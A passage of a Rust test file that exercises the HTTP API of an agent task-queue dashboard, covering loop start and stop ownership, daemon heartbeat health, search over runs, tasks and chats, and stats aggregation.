10090 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10091 .expect("run still on disk under this fixture's own home");
10092 assert_eq!(
10093 reloaded_run.status,
10094 RunStatus::Superseded,
10095 "closing the task by hand must relabel the earlier blocked attempt exactly \
10096 like the loop's own settle path does"
10097 );
10098 }
10099
10100 #[tokio::test]
10101 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10102 let f = Fixture::start().await;
10107 let queue = f.queue();
10108 let runs = f.runs();
10109 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10110 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10111
10112 let mut task = Task::new(
10113 "closed with nothing actually landed".to_owned(),
10114 "x".to_owned(),
10115 PathBuf::from("/repo/magi"),
10116 Source::Human,
10117 );
10118 task.runs.push("20260101-000000-dob1".to_owned());
10119 task.runs.push("20260101-000000-dob2".to_owned());
10120 queue.put(&mut task).expect("file the task");
10121
10122 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10123 assert_eq!(done.status, 200, "{}", done.body);
10124
10125 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10126 .expect("run still on disk under this fixture's own home");
10127 assert_eq!(
10128 reloaded_run.status,
10129 RunStatus::Blocked,
10130 "the last recorded attempt never landed, so the earlier one must not be \
10131 relabelled as superseded by it"
10132 );
10133 }
10134
10135 #[tokio::test]
10136 async fn unknown_ids_are_json_not_found_on_both_stores() {
10137 let f = Fixture::start().await;
10138
10139 let run = f.get("/api/runs/nosuchrun").await;
10140 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10141
10142 assert_eq!(run.status, 404);
10143 assert_eq!(task.status, 404);
10144 assert!(
10145 run.json()["error"]
10146 .as_str()
10147 .is_some_and(|e| e.contains("run")),
10148 "the error names what was not found: {}",
10149 run.body
10150 );
10151 assert!(
10152 task.json()["error"]
10153 .as_str()
10154 .is_some_and(|e| e.contains("task")),
10155 "the error names what was not found: {}",
10156 task.body
10157 );
10158 }
10159
10160 #[tokio::test]
10161 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10162 let f = Fixture::start().await;
10163
10164 let missing = f.get("/api/health").await.json();
10165 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10166
10167 write_daemon(
10168 f.home.path(),
10169 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10170 );
10171 let stale = f.get("/api/health").await.json();
10172 assert_eq!(
10173 stale["daemon"]["running"], false,
10174 "a minute without a heartbeat is a dead daemon, not a busy one"
10175 );
10176 assert!(
10177 stale["daemon"]["stale_for_secs"]
10178 .as_i64()
10179 .is_some_and(|s| s >= 55),
10180 "staleness is reported so the UI can say how long: {stale}"
10181 );
10182
10183 write_daemon(f.home.path(), Timestamp::now());
10184 let fresh = f.get("/api/health").await.json();
10185 assert_eq!(fresh["daemon"]["running"], true);
10186 assert_eq!(fresh["daemon"]["idle"], false);
10187 assert_eq!(fresh["daemon"]["pid"], 4242);
10188 assert_eq!(fresh["daemon"]["completed"], 7);
10189 assert_eq!(
10190 fresh["daemon"]["current"][0]["task"],
10191 "20260902-140501-aaaa"
10192 );
10193 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10194 }
10195
10196 #[tokio::test]
10197 async fn the_loop_is_not_running_until_something_starts_it() {
10198 let f = Fixture::start().await;
10199
10200 let view = f.get("/api/loop").await.json();
10201 assert_eq!(view["running"], false);
10202 assert_eq!(
10203 view["owned"], false,
10204 "nobody owns a loop that does not exist: {view}"
10205 );
10206 assert_eq!(view["stopping"], false);
10207 assert_eq!(view["last_error"], Value::Null);
10208 assert_eq!(view["daemon"]["running"], false);
10209 assert_eq!(
10210 view["repo"], "/repo/magi",
10211 "the repository a start would use, named before it is started"
10212 );
10213 }
10214
10215 #[tokio::test]
10216 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10217 let f = Fixture::start().await;
10218
10219 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10220 assert_eq!(res.status, 200, "{}", res.body);
10221 let view = res.json();
10222 assert_eq!(view["running"], true);
10223 assert_eq!(
10224 view["owned"], true,
10225 "the loop the UI started is the UI's own to stop: {view}"
10226 );
10227 assert_eq!(
10228 view["merge"],
10229 Value::Null,
10230 "no override was given, so each repository's own config decides"
10231 );
10232
10233 let health = f.get("/api/health").await.json();
10237 assert_eq!(health["loop"]["running"], true, "{health}");
10238 assert_eq!(health["loop"]["owned"], true, "{health}");
10239
10240 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10241 }
10242
10243 #[tokio::test]
10244 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10245 let f = Fixture::start().await;
10246 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10247 assert_eq!(first.status, 200, "{}", first.body);
10248
10249 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10250 assert_eq!(
10251 again.status, 409,
10252 "two loops on one queue race for the same claims: {}",
10253 again.body
10254 );
10255 assert!(
10256 again.json()["error"]
10257 .as_str()
10258 .is_some_and(|e| e.contains("already running the loop")),
10259 "the refusal has to say why: {}",
10260 again.body
10261 );
10262 assert_eq!(
10263 f.get("/api/loop").await.json()["running"],
10264 true,
10265 "and the loop that was already running is untouched by it"
10266 );
10267
10268 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10269 }
10270
10271 #[tokio::test]
10272 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10273 let f = Fixture::start().await;
10274 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10275
10276 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10277 assert_eq!(
10278 res.status, 200,
10279 "the answer must not wait for the loop: a run in flight is tens of \
10280 minutes and the operator is holding a phone: {}",
10281 res.body
10282 );
10283
10284 let view = settled(&f, |v| v["running"] == false).await;
10285 assert_eq!(view["owned"], false);
10286 assert_eq!(
10287 view["stopping"], false,
10288 "a loop that has stopped is not still stopping: {view}"
10289 );
10290 assert_eq!(
10291 view["last_error"],
10292 Value::Null,
10293 "a loop that was asked to stop did not fail: {view}"
10294 );
10295
10296 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10299 assert_eq!(twice.status, 200, "{}", twice.body);
10300 }
10301
10302 #[tokio::test]
10303 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10304 let f = Fixture::start().await;
10305 write_daemon(f.home.path(), Timestamp::now());
10308
10309 let view = f.get("/api/loop").await.json();
10310 assert_eq!(view["running"], false, "not in this process: {view}");
10311 assert_eq!(view["owned"], false, "and not this process's to control");
10312 assert_eq!(
10313 view["daemon"]["running"], true,
10314 "but a loop is alive somewhere, which is what the UI must say"
10315 );
10316 assert_eq!(view["daemon"]["pid"], 4242);
10317
10318 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10319 let res = f.post("/api/loop", Some(body)).await;
10320 assert_eq!(
10321 res.status, 409,
10322 "neither button may pretend to work on someone else's loop: {}",
10323 res.body
10324 );
10325 assert!(
10326 res.json()["error"]
10327 .as_str()
10328 .is_some_and(|e| e.contains("4242")),
10329 "the refusal has to name the process the operator must go to: {}",
10330 res.body
10331 );
10332 }
10333 assert_eq!(
10334 f.get("/api/loop").await.json()["running"],
10335 false,
10336 "and the refusal started nothing"
10337 );
10338 }
10339
10340 #[tokio::test]
10341 async fn a_stale_status_file_is_not_a_foreign_owner() {
10342 let f = Fixture::start().await;
10343 write_daemon(
10344 f.home.path(),
10345 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10346 );
10347
10348 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10349 assert_eq!(
10350 res.status, 200,
10351 "a daemon killed a minute ago must not lock the loop out of its \
10352 own home for good: {}",
10353 res.body
10354 );
10355 assert_eq!(res.json()["running"], true);
10356
10357 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10358 }
10359
10360 #[tokio::test]
10361 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10362 let f = Fixture::start().await;
10363 let before = f.get("/api/health").await.json()["loop_rev"]
10364 .as_u64()
10365 .expect("a loop revision");
10366
10367 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10368
10369 let after = f.get("/api/health").await.json()["loop_rev"]
10370 .as_u64()
10371 .expect("a loop revision");
10372 assert!(
10373 after > before,
10374 "the loop is in-process state, so this counter is the only thing \
10375 that tells a second device the first one started it: {before} -> \
10376 {after}"
10377 );
10378
10379 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10380 }
10381
10382 #[tokio::test]
10383 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10384 let f = Fixture::with_loop(launch_broken).await;
10385
10386 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10387 assert_eq!(
10388 res.status, 200,
10389 "starting it is not the failure: {}",
10390 res.body
10391 );
10392
10393 let view = settled(&f, |v| v["last_error"].is_string()).await;
10394 assert_eq!(
10395 view["running"], false,
10396 "a loop that died must not read as running, or the operator has \
10397 nothing to press: {view}"
10398 );
10399 assert_eq!(view["owned"], false);
10400 assert!(
10401 view["last_error"]
10402 .as_str()
10403 .is_some_and(|e| e.contains("read-only file system")),
10404 "the phone is where a loop that died at 3am is visible: {view}"
10405 );
10406
10407 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10410 assert_eq!(again.status, 200, "{}", again.body);
10411 assert_eq!(
10412 again.json()["last_error"],
10413 Value::Null,
10414 "a fresh start does not keep showing why the last one died"
10415 );
10416 }
10417
10418 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10430 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10431 let home = TempDir::new().expect("temp home");
10432 let runs = home.path().join("runs");
10433 std::fs::create_dir_all(&runs).expect("runs dir");
10434 let ui = Ui::new(
10435 Queue::at(home.path().join("queue")),
10436 Questions::at(home.path().join("questions")),
10437 Talks::at(home.path().join("talks")),
10438 runs,
10439 home.path().to_path_buf(),
10440 PathBuf::from("/repo/magi"),
10441 )
10442 .with_worktrees_root(home.path().join("wt"))
10443 .with_launch(launch_knocking_on_the_way_out);
10444 let looping = ui.looping();
10445 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10446 .await
10447 .expect("bind loopback");
10448 let addr = listener.local_addr().expect("local addr");
10449 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10450 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10451
10452 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10453 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10454
10455 let bound = std::sync::Mutex::new(None);
10470 hand_over(home.path(), &looping, served, |_| {
10471 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10472 let attempt = loop {
10473 match std::net::TcpListener::bind(addr) {
10474 Ok(l) => {
10475 drop(l);
10476 break Ok(());
10477 }
10478 Err(e)
10479 if e.kind() == std::io::ErrorKind::AddrInUse
10480 && std::time::Instant::now() < deadline =>
10481 {
10482 std::thread::sleep(std::time::Duration::from_millis(10));
10483 }
10484 Err(e) => break Err(e.to_string()),
10485 }
10486 };
10487 *bound.lock().expect("bound") = Some(attempt);
10488 Ok(1)
10489 })
10490 .await
10491 .expect("hand over");
10492
10493 assert_eq!(
10494 *PARK_HEARD.lock().expect("park heard"),
10495 Some(200),
10496 "the deck must answer while the loop is parking"
10497 );
10498 let attempt = bound
10499 .lock()
10500 .expect("bound")
10501 .take()
10502 .expect("the successor was started");
10503 assert!(
10504 attempt.is_ok(),
10505 "and the address must be free by the time it is: {attempt:?}"
10506 );
10507 }
10508
10509 #[tokio::test]
10510 async fn a_newer_daemon_status_file_still_renders() {
10511 let f = Fixture::start().await;
10512 std::fs::write(
10515 f.home.path().join("daemon.json"),
10516 serde_json::json!({
10517 "schema": 2,
10518 "updated_at": Timestamp::now().to_string(),
10519 "idle": true,
10520 "surprise": { "nested": [1, 2, 3] },
10521 })
10522 .to_string(),
10523 )
10524 .expect("write daemon.json");
10525
10526 let health = f.get("/api/health").await;
10527
10528 assert_eq!(health.status, 200);
10529 assert_eq!(health.json()["daemon"]["running"], true);
10530 }
10531
10532 #[tokio::test]
10533 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10534 let f = Fixture::start().await;
10535 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10536 let broken = f.runs().join("20260902-140502-bad");
10537 std::fs::create_dir_all(&broken).expect("run dir");
10538 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10539
10540 let list = f.get("/api/runs").await;
10541 let detail = f.get("/api/runs/20260902-140502-bad").await;
10542
10543 assert_eq!(list.status, 200);
10544 let listed = list.json();
10545 let ids: Vec<&str> = listed
10546 .as_array()
10547 .expect("an array")
10548 .iter()
10549 .map(|r| r["id"].as_str().expect("an id"))
10550 .collect();
10551 assert_eq!(
10552 ids,
10553 vec!["20260902-140501-good"],
10554 "one unreadable run must not cost the operator the whole history"
10555 );
10556 assert_eq!(detail.status, 500);
10557 assert!(
10558 detail.json()["error"]
10559 .as_str()
10560 .is_some_and(|e| e.contains("run.json")),
10561 "the failure names the file to look at: {}",
10562 detail.body
10563 );
10564 let health = f.get("/api/health").await;
10568 assert_eq!(health.json()["runs_unreadable"], 1);
10569 }
10570
10571 #[tokio::test]
10573 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10574 let f = Fixture::start().await;
10575 let runs = f.runs();
10576 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10577 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10578 let path = runs.join("20260902-140502-bbbb").join("run.json");
10581 let mut v: serde_json::Value =
10582 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10583 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10584 std::fs::write(&path, v.to_string()).unwrap();
10585 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10586 std::fs::write(
10587 runs.join("20260902-140503-cccc").join("run.json"),
10588 "{ not json",
10589 )
10590 .unwrap();
10591
10592 let res = f.get("/api/search?scope=runs&q=quokka").await;
10593 assert_eq!(res.status, 200, "{}", res.body);
10594 let v = res.json();
10595 assert_eq!(v["total"], 1, "{v}");
10596 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10597 assert_eq!(v["hits"][0]["field"], "text");
10598 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10599 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10600 assert!(
10601 parts
10602 .iter()
10603 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10604 "{v}"
10605 );
10606 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10607 assert_eq!(
10608 flat, "The Quokka leaks across threads",
10609 "whitespace is collapsed"
10610 );
10611
10612 let both = f
10614 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10615 .await
10616 .json();
10617 assert_eq!(both["total"], 1, "{both}");
10618 let neither = f
10619 .get("/api/search?scope=runs&q=quokka%20zebra")
10620 .await
10621 .json();
10622 assert_eq!(neither["total"], 0, "{neither}");
10623 let stmt = f
10625 .get("/api/search?scope=runs&q=mobile%20first")
10626 .await
10627 .json();
10628 assert_eq!(stmt["total"], 2, "{stmt}");
10629 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10630 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10631 }
10632
10633 #[test]
10634 fn snippet_ignores_terms_longer_than_the_field() {
10635 let terms = ["ok".to_owned(), "elephant".to_owned()];
10636 let parts = snippet_of("ok", &terms);
10637 assert_eq!(
10638 parts,
10639 vec![SnippetPart {
10640 text: "ok".to_owned(),
10641 hit: true
10642 }]
10643 );
10644 }
10645
10646 #[test]
10647 fn snippet_marks_matches_longer_than_the_window() {
10648 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10649 let hit_len = |parts: &[SnippetPart]| -> usize {
10650 parts
10651 .iter()
10652 .filter(|p| p.hit)
10653 .map(|p| p.text.chars().count())
10654 .sum()
10655 };
10656 let total =
10657 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10658
10659 let long = "a".repeat(120);
10660 let parts = snippet_of(&long, std::slice::from_ref(&long));
10661 assert!(hit_len(&parts) > 0, "{parts:?}");
10662 assert!(total(&parts) <= cap);
10663
10664 let ja = "あ".repeat(130);
10665 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10666 assert!(hit_len(&parts) > 0, "{parts:?}");
10667 assert!(total(&parts) <= cap);
10668
10669 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10671 let term = format!("ab{}", "c".repeat(100));
10672 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10673 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10674 assert!(total(&parts) <= cap);
10675
10676 let text = format!("{}z", "a".repeat(119));
10678 let parts = snippet_of(&text, &["a".repeat(120)]);
10679 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10680 }
10681
10682 #[tokio::test]
10683 async fn search_caps_hits_and_snippet_length() {
10684 let f = Fixture::start().await;
10685 let runs = f.runs();
10686 for n in 0..(SEARCH_MAX_HITS + 5) {
10687 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10688 }
10689 let v = f.get("/api/search?scope=runs&q=web").await.json();
10690 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10691 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10692 assert_eq!(v["truncated"], true);
10693 assert!(
10695 v["hits"]
10696 .as_array()
10697 .unwrap()
10698 .iter()
10699 .all(|h| h["run"]["status"] == "merged")
10700 );
10701
10702 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10703 let parts = snippet_of(&long, &["needle".to_owned()]);
10704 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10705 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10706 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10707 }
10708
10709 #[tokio::test]
10710 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10711 let f = Fixture::start().await;
10712 let queue = f.queue();
10713 let mut t = Task::new(
10714 "short title".to_owned(),
10715 "line one\nthe hidden Armadillo detail".to_owned(),
10716 PathBuf::from("/repo/magi"),
10717 Source::Agent {
10718 run: "r1".to_owned(),
10719 node: "chat".to_owned(),
10720 },
10721 );
10722 t.last_error = Some("disk full on /tmp".to_owned());
10723 queue.put(&mut t).expect("file the task");
10724
10725 for (q, want) in [
10726 ("armadillo", 1),
10727 ("disk%20FULL", 1),
10728 ("chat", 1),
10729 ("queued", 1),
10730 ("short%20nothing", 0),
10731 ] {
10732 let v = f
10733 .get(&format!("/api/search?scope=tasks&q={q}"))
10734 .await
10735 .json();
10736 assert_eq!(v["total"], want, "{q}: {v}");
10737 }
10738 for bad in [
10739 "/api/search?scope=tasks&q=",
10740 "/api/search?scope=tasks&q=%20",
10741 "/api/search?scope=chats&q=",
10742 "/api/search?scope=chats&q=%20",
10743 "/api/search?scope=nope&q=a",
10744 "/api/search?q=a",
10745 ] {
10746 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10747 }
10748 }
10749
10750 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10752 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10753 .expect("seat value");
10754 let turns: Vec<serde_json::Value> = turns
10755 .iter()
10756 .map(|(who, body)| {
10757 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10758 })
10759 .collect();
10760 let doc = serde_json::json!({
10761 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10762 "status": status, "turns": turns,
10763 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10764 "seat": seat,
10765 });
10766 let dir = f.home.path().join("talks");
10767 std::fs::create_dir_all(&dir).expect("talks dir");
10768 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10769 }
10770
10771 #[tokio::test]
10772 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10773 let f = Fixture::start().await;
10774 write_talk(
10775 &f,
10776 "20260901-000001-aaaa",
10777 "open",
10778 &[
10779 (
10780 "operator",
10781 "\n Why does the Pangolin cache expire?\nsecond line",
10782 ),
10783 ("agent", "Because the TTL is thirty seconds."),
10784 ],
10785 );
10786 write_talk(
10787 &f,
10788 "20260901-000002-bbbb",
10789 "closed",
10790 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10791 );
10792 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10793
10794 let search = |q: &'static str| {
10795 let f = &f;
10796 async move {
10797 f.get(&format!("/api/search?scope=chats&q={q}"))
10798 .await
10799 .json()
10800 }
10801 };
10802
10803 let v = search("PANGOLIN").await;
10804 assert_eq!(v["scope"], "chats");
10805 assert_eq!(v["total"], 1, "{v}");
10806 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10807 assert_eq!(v["hits"][0]["field"], "title");
10808 assert_eq!(v["unreadable"], 1, "{v}");
10809 let marked: Vec<&str> = v["hits"][0]["snippet"]
10810 .as_array()
10811 .unwrap()
10812 .iter()
10813 .filter(|p| p["hit"] == true)
10814 .map(|p| p["text"].as_str().unwrap())
10815 .collect();
10816 assert_eq!(marked, ["Pangolin"]);
10817
10818 let v = search("zebra").await;
10820 assert_eq!(v["total"], 1, "{v}");
10821 assert_eq!(v["hits"][0]["field"], "agent");
10822 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10824 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10825 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10827 assert_eq!(search(q).await["total"], 0, "{q}");
10828 }
10829 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10831 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10833
10834 let v = f.get("/api/search?scope=nope&q=a").await;
10835 assert_eq!(v.status, 400);
10836 assert!(
10837 v.body.contains("scope must be runs, tasks or chats"),
10838 "{}",
10839 v.body
10840 );
10841 }
10842
10843 #[test]
10844 fn a_question_card_links_a_task_id_to_the_task_page() {
10845 let start = APP_JS
10846 .find("function updateAskCard(")
10847 .expect("updateAskCard exists");
10848 let body = &APP_JS[start..];
10849 let body = &body[..body.find("\n}\n").expect("function end")];
10850 assert!(body.contains("question.run_is_task"));
10851 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10852 assert!(body.contains("`#/runs/${question.run}`"));
10853 assert!(body.contains("\"task\" : \"run\""));
10854 }
10855
10856 #[test]
10857 fn stats_bars_share_one_id_keyed_plan() {
10858 let start = APP_JS
10859 .find("function statsBarRows(")
10860 .expect("statsBarRows exists");
10861 let body = &APP_JS[start..];
10862 let body = &body[..body.find("\n}\n").expect("function end")];
10863 assert!(body.contains("statsBarPlan(rows)"));
10864 assert!(body.contains("statsAgentTone(row.agent)"));
10865 assert!(!body.contains("candTone(i)"));
10866 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
10867 for root in [
10868 "stats-agents-bars",
10869 "stats-reviewers-bars",
10870 "stats-advisors-bars",
10871 ] {
10872 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
10873 }
10874 }
10875
10876 #[test]
10877 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10878 let start = APP_JS
10879 .find("function scheduleSearch(")
10880 .expect("scheduleSearch exists");
10881 let body = &APP_JS[start..];
10882 let body = &body[..body.find("\n}\n").expect("function end")];
10883 assert!(body.contains("s.seq += 1"));
10884 }
10885
10886 #[tokio::test]
10891 async fn stats_runs_unreadable_matches_health() {
10892 let f = Fixture::start().await;
10893 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10894 let broken = f.runs().join("20260902-140502-bad");
10895 std::fs::create_dir_all(&broken).expect("run dir");
10896 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10897
10898 let stats = f.get("/api/stats").await;
10899 let health = f.get("/api/health").await;
10900
10901 assert_eq!(stats.status, 200);
10902 assert_eq!(stats.json()["totals"]["runs"], 1);
10903 assert_eq!(stats.json()["runs_unreadable"], 1);
10904 assert_eq!(
10905 stats.json()["runs_unreadable"],
10906 health.json()["runs_unreadable"],
10907 "the dashboard and /api/health must never disagree about how many \
10908 runs could not be read"
10909 );
10910 }
10911
10912 #[tokio::test]
10913 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10914 let f = Fixture::start().await;
10915 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10916 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10917 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10918
10919 let totals = &f.get("/api/stats").await.json()["totals"];
10920 assert_eq!(totals["runs"], 3);
10921 assert_eq!(totals["merged"], 1);
10922 assert_eq!(totals["stalled"], 1);
10923 assert_eq!(totals["in_progress"], 1);
10924 assert_eq!(totals["blocked"], 0);
10927 assert_eq!(totals["ready"], 0);
10928 }
10929
10930 #[tokio::test]
10931 async fn stats_advisors_report_proposals_and_reflection() {
10932 use crate::advise::{Advice, AdvisorRecord, Reflection};
10933 use crate::verdict::Proposal;
10934
10935 let f = Fixture::start().await;
10936 let mut state = RunState::new(
10937 PathBuf::from("/repo/magi"),
10938 "main".to_owned(),
10939 "0123456789abcdef".to_owned(),
10940 "task".to_owned(),
10941 Config::default(),
10942 );
10943 state.id = "20260902-140501-a".to_owned();
10944 state.status = RunStatus::Merged;
10945 state.advice = Some(Advice {
10946 records: vec![
10947 AdvisorRecord {
10948 seat: "advisor-1".to_owned(),
10949 agent: "alpha".to_owned(),
10950 proposal: Some(Proposal {
10951 approach: "do it".to_owned(),
10952 key_tradeoff: "speed over memory".to_owned(),
10953 risks: Vec::new(),
10954 touches: Vec::new(),
10955 why_not_naive: "breaks under load".to_owned(),
10956 }),
10957 error: None,
10958 duration_ms: 0,
10959 reflection: Reflection::Strong,
10960 },
10961 AdvisorRecord {
10962 seat: "advisor-2".to_owned(),
10963 agent: "alpha".to_owned(),
10964 proposal: None,
10965 error: Some("timed out".to_owned()),
10966 duration_ms: 0,
10967 reflection: Reflection::Absent,
10968 },
10969 ],
10970 synthesis: Some("blended brief".to_owned()),
10971 });
10972 let dir = f.runs().join(&state.id);
10973 std::fs::create_dir_all(&dir).expect("run dir");
10974 std::fs::write(
10975 dir.join("run.json"),
10976 serde_json::to_string_pretty(&state).expect("serialize run"),
10977 )
10978 .expect("write run.json");
10979
10980 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10981 let alpha = advisors
10982 .as_array()
10983 .expect("an array")
10984 .iter()
10985 .find(|a| a["agent"] == "alpha")
10986 .expect("alpha row");
10987 assert_eq!(alpha["seated"], 2);
10988 assert_eq!(alpha["proposed"], 1);
10989 assert_eq!(alpha["absent"], 1);
10990 assert_eq!(alpha["strong"], 1);
10991 assert_eq!(alpha["faint"], 0);
10992 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10993 }
10994
10995 #[tokio::test]
10996 async fn stats_release_bumps_split_clean_from_attention() {
10997 use crate::run::ReleaseBump;
10998
10999 let f = Fixture::start().await;
11000
11001 let mut clean = RunState::new(
11002 PathBuf::from("/repo/magi"),
11003 "main".to_owned(),
11004 "0123456789abcdef".to_owned(),
11005 "task".to_owned(),
11006 Config::default(),
11007 );
11008 clean.id = "20260902-140501-a".to_owned();
11009 clean.status = RunStatus::Merged;
11010 clean.release_bump = Some(ReleaseBump {
11011 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11012 version: Some("1.0.0".to_owned()),
11013 automerge_enabled: true,
11014 merged_directly: false,
11015 local: false,
11016 release: None,
11017 problem: None,
11018 action_required: None,
11019 });
11020
11021 let mut blocked = RunState::new(
11022 PathBuf::from("/repo/magi"),
11023 "main".to_owned(),
11024 "0123456789abcdef".to_owned(),
11025 "task".to_owned(),
11026 Config::default(),
11027 );
11028 blocked.id = "20260902-140502-b".to_owned();
11029 blocked.status = RunStatus::Merged;
11030 blocked.release_bump = Some(ReleaseBump {
11031 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11032 version: Some("1.0.1".to_owned()),
11033 automerge_enabled: false,
11034 merged_directly: false,
11035 local: false,
11036 release: None,
11037 problem: Some("checks red".to_owned()),
11038 action_required: Some("look at the PR".to_owned()),
11039 });
11040
11041 for state in [&clean, &blocked] {
11042 let dir = f.runs().join(&state.id);
11043 std::fs::create_dir_all(&dir).expect("run dir");
11044 std::fs::write(
11045 dir.join("run.json"),
11046 serde_json::to_string_pretty(state).expect("serialize run"),
11047 )
11048 .expect("write run.json");
11049 }
11050
11051 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11052 assert_eq!(bumps["merged"], 2);
11053 assert_eq!(bumps["recorded"], 2);
11054 assert_eq!(bumps["pr_opened"], 2);
11055 assert_eq!(bumps["automerge_enabled"], 1);
11056 assert_eq!(bumps["needs_attention"], 1);
11057 assert_eq!(bumps["clean"], 1);
11058 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11059 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11060 }
11061
11062 #[tokio::test]
11063 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11064 let f = Fixture::start().await;
11065 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11066
